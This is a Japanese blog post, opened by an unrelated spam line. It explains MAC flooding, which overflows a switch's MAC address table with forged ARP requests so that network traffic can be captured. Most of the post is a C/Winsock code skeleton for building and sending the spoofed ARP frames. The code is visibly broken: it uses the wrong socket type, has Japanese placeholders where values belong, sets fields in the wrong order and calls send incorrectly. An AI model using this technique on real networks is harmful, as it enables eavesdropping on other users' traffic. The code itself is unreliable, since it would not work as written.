r4 販売 激安
スイッチングHubの特性を利用してネットワークをキャプチャ
リピータHubというのは、いわゆるバカHubのこと。入力されたイーサネット情報を宛先アドレス関係無しに送る。現在はジャンクなどで200円ぐらいで販売されてるのもを除き、国内では販売されていない。スイッチングHubというのは、入力された情報をバッファリングして指定の宛先アドレスのみに送信する。現在、ハブといえば、スイッチングHubのことをさす。
スイッチングHubの通信はある程度の安全が保障されていて、データをキャプチャすることはできないが不可能というわけでもない。スイッチングハブは、MACアドレスを取得するための機能をもっており、これを逆利用した方法でおこなう。
MACFloodingとは、スイッチングHubのMACアドレステーブルをオーバーフローさせてキャプチャする方法。スイッチングHubは、自分の持ってる分岐ポートに繋がったネットワーク機器のマックアドレスをメモりに格納して、その対応したテーブルエントリにて切り替えながら通信を行う。
MACFloodingは、実際には存在しない MACアドレスの入ったarp要求パケットを連打してスイッチングハブの機能を不能にさせる。つまり、差出人のMACアドレスを順次変えたパケットを送信することにより、スイッチングHubはMACアドレステーブルにポートのエントリをどんどん追加していく。これを、続けていくと当然メモリはオーバーフローを起こし、本来のスイッチングHubの機能であるMACアドレスのテーブリングが不能になる。つまり、馬鹿Hub化してしまうという現象を利用する。
インクルードファイル
#include <winsock2.h>
arp要求パケットは通常のパケットとは異なるレイヤー2のプロトコルのため、初期化の方法も異なる。SOCKET sock = socket(AF_INET,SOCK_RAW,IPPROTO_IP);
typedef struct _PROTOCOL_ETHER{
unsigned char Mac[2][6];
short int Type;
} PROTOCOL_ETHER, *LP_PROTOCOL_ETHER;
typedef struct _PROTOCOL_ARP{
short int HwType;
short int Type;
unsigned char HwLen;
unsigned char ProtoLen;
short int Code;
unsigned char SrcMac[6];
unsigned int SrcIp;
unsigned char DstMac[6];
unsigned int DstIp;
} PROTOCOL_ARP, *LP_PROTOCOL_ARP;
ダミーの部分は実際には存在しないアドレスを指定する。LP_PROTOCOL_ETHER protocol_ether = (LP_PROTOCOL_ETHER)p;
protocol_ether->Mac[0] = 送信側MACアドレス
protocol_ether->Mac[1] = 宛先側MACアドレス
p+=14;// ヘッダサイズだけ移動
protocol_ether->Type = ntohs(0x0806);// プロトコル ARP
// ARPパケットのヘッダを取得する
LP_PROTOCOL_ARP protocol_arp = (LP_PROTOCOL_ARP)p;
protocol_arp->HwType = 0x0001;
protocol_arp->Type = 0x0800;
protocol_arp->HwLen = 0x06; //Hardware size = 6
protocol_arp->ProtoLen = 0x04; //protcol size = 4
protocol_arp->Code = 0x0001; //ARP要求
protocol_arp->SrcMac = 送信側MACアドレス(ダミー)
protocol_arp->SrcIp = 送信側IPアドレス(ダミー)
protocol_arp->DstMac = 宛先側MACアドレス(ダミー)
protocol_arp->DstIp = 宛先側IPアドレス(ダミー)
int len = sizeof(PROTOCOL_ETHER) + sizeof(PROTOCOL_ARP);
BOOL ret = send( sock, p, len );
この記事にトラックバックする